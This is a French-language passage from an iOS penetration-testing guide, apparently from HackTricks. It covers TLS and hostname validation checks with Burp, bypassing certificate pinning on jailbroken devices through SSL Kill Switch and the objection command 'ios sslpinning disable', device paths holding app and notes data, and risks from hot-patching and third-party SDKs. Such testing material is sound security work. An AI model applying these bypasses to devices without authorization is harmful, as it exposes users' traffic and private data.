Gestionnaires d'URI personnalisés / Liens profonds / Schémas personnalisés

{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} ios-custom-uri-handlers-deeplinks-custom-schemes.md {% endcontent-ref %}

Liens universels

{% content-ref url="ios-universal-links.md" %} ios-universal-links.md {% endcontent-ref %}

Partage d'activités UIActivity

{% content-ref url="ios-uiactivity-sharing.md" %} ios-uiactivity-sharing.md {% endcontent-ref %}

UIPasteboard

{% content-ref url="ios-uipasteboard.md" %} ios-uipasteboard.md {% endcontent-ref %}

Extensions d'application

{% content-ref url="ios-app-extensions.md" %} ios-app-extensions.md {% endcontent-ref %}

WebViews

{% content-ref url="ios-webviews.md" %} ios-webviews.md {% endcontent-ref %}

Sérialisation et encodage

{% content-ref url="ios-serialisation-and-encoding.md" %} ios-serialisation-and-encoding.md {% endcontent-ref %}

Communication réseau

Il est important de vérifier qu'aucune communication ne se produit sans chiffrement et également que l'application valide correctement le certificat TLS du serveur.
Pour vérifier ce type de problèmes, vous pouvez utiliser un proxy comme Burp :

{% content-ref url="burp-configuration-for-ios.md" %} burp-configuration-for-ios.md {% endcontent-ref %}

Vérification du nom d'hôte

Un problème courant lors de la validation du certificat TLS est de vérifier si le certificat a été signé par une autorité de confiance, mais de ne pas vérifier si le nom d'hôte du certificat correspond au nom d'hôte qui est accédé.
Pour vérifier ce problème à l'aide de Burp, après avoir fait confiance à l'autorité de certification de Burp sur l'iPhone, vous pouvez créer un nouveau certificat avec Burp pour un nom d'hôte différent et l'utiliser. Si l'application fonctionne toujours, alors quelque chose est vulnérable.

Épinglage de certificat

Si une application utilise correctement l'épinglage SSL, alors l'application ne fonctionnera que si le certificat est celui qui est attendu. Lors du test d'une application, cela peut poser problème car Burp servira son propre certificat.
Pour contourner cette protection sur un appareil jailbreaké, vous pouvez installer l'application SSL Kill Switch ou installer Burp Mobile Assistant.

Vous pouvez également utiliser la commande ios sslpinning disable de objection.

Divers

Dans /System/Library, vous pouvez trouver les frameworks installés sur le téléphone utilisés par les applications système.
Les applications installées par l'utilisateur depuis l'App Store se trouvent dans /User/Applications.
Et /User/Library contient les données enregistrées par les applications de niveau utilisateur.
Vous pouvez accéder à /User/Library/Notes/notes.sqlite pour lire les notes enregistrées dans l'application.
À l'intérieur du dossier d'une application installée (/User/Applications/<ID DE L'APP>/), vous pouvez trouver des fichiers intéressants :
iTunesArtwork : L'icône utilisée par l'application.
iTunesMetadata.plist : Informations sur l'application utilisées dans l'App Store.
/Library/* : Contient les préférences et le cache. Dans /Library/Cache/Snapshots/*, vous pouvez trouver la capture d'écran effectuée par l'application avant de l'envoyer en arrière-plan.

Patch à chaud / Mise à jour forcée

Les développeurs peuvent corriger à distance toutes les installations de leur application instantanément, sans avoir à soumettre à nouveau l'application à l'App Store et attendre qu'elle soit approuvée.
À cette fin, on utilise généralement JSPatch. Mais il existe également d'autres options telles que Siren et react-native-appstore-version-checker.
Il s'agit d'un mécanisme dangereux qui pourrait être utilisé de manière abusive par des SDK tiers malveillants, il est donc recommandé de vérifier quelle méthode est utilisée pour la mise à jour automatique (le cas échéant) et de la tester. Vous pouvez essayer de télécharger une version précédente de l'application à cette fin.

Tiers

Un problème des SDK tiers est qu'il n'y a aucun contrôle granulaire sur les fonctionnalités offertes par le SDK. Vous pouvez utiliser le SDK et avoir toutes les fonctionnalités (y compris les fuites de diagnostic et les connexions HTTP non sécurisées), ou ne pas l'utiliser du tout. De plus, il est généralement impossible pour les développeurs d'applications de corriger une vulnérabilité dans le SDK.
De plus, certains SDK commencent à contenir des logiciels malveillants une fois qu'ils sont très fiables pour la communauté.

De plus, les services proposés par ces SDK peuvent impliquer des services de suivi pour surveiller le comportement de l'utilisateur lors de l'utilisation de l'application, la vente de bannières publicitaires ou l'amélioration de l'expérience utilisateur. L'inconvénient des services tiers est que les développeurs ne connaissent pas les détails du code exécuté via les bibliothèques tierces. Par conséquent, seules les informations nécessaires doivent être envoyées à un service, et aucune information sensible ne doit être divulguée.

L'inconvénient est qu'un développeur ne connaît pas en détail le code exécuté via les bibliothèques tierces et renonce donc à la visibilité. Par conséquent, il convient de s'assurer que seules les informations nécessaires sont envoyées au service et qu'aucune information sensible n'est divulguée.

La plupart des services tiers sont implémentés de deux manières :

avec une bibliothèque autonome
avec un SDK complet

Toutes les données envoyées aux services tiers doivent être anonymisées pour éviter la divulgation d'informations personnellement identifiables (PII) qui permettraient au tiers de identifier le compte utilisateur.

Vous pouvez trouver les bibliothèques utilisées par une application en exécutant otool sur l'application (et en l'exécutant sur chaque bibliothèque partagée pour trouver d'autres bibliothèques partagées utilisées).

Références

Plus d'informations

Utilisez Trickest pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
Découvrez The PEASS Family, notre collection exclusive de NFTs
Obtenez le swag officiel PEASS & HackTricks
Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.

86 KiB Raw Blame History

iOS Pentesting

Fondamentaux d'iOS

Environnement de test

Analyse initiale

Opérations de test de base d'iOS

Analyse statique de base

Analyse dynamique de base

Liste des applications installées

Énumération de base et Hooking

Structure IPA

Rétro-ingénierie binaire

Stockage des données

Plist

Core Data

YapDatabase

Autres bases de données SQLite

Bases de données en temps réel Firebase

Bases de données Realm

Bases de données Couchbase Lite

Cookies

Cache

Snapshots

Keychain

Claviers personnalisés/Cache du clavier

Journaux

Sauvegardes

Test de la mémoire pour les données sensibles

Cryptographie défaillante

Mauvaises pratiques de gestion des clés

Utilisation d'algorithmes non sécurisés et/ou obsolètes

Vérification

Authentification locale

Framework d'authentification locale

Authentification locale en utilisant le trousseau

Détection

Contournement du framework d'authentification locale

Objection

Frida

Exposition de fonctionnalités sensibles via IPC

Gestionnaires d'URI personnalisés / Liens profonds / Schémas personnalisés

Liens universels

Partage d'activités UIActivity

UIPasteboard

Extensions d'application

WebViews

Sérialisation et encodage

Communication réseau

Vérification du nom d'hôte

Épinglage de certificat

Divers

Patch à chaud / Mise à jour forcée

Tiers

Références

Plus d'informations

86 KiB

Raw Blame History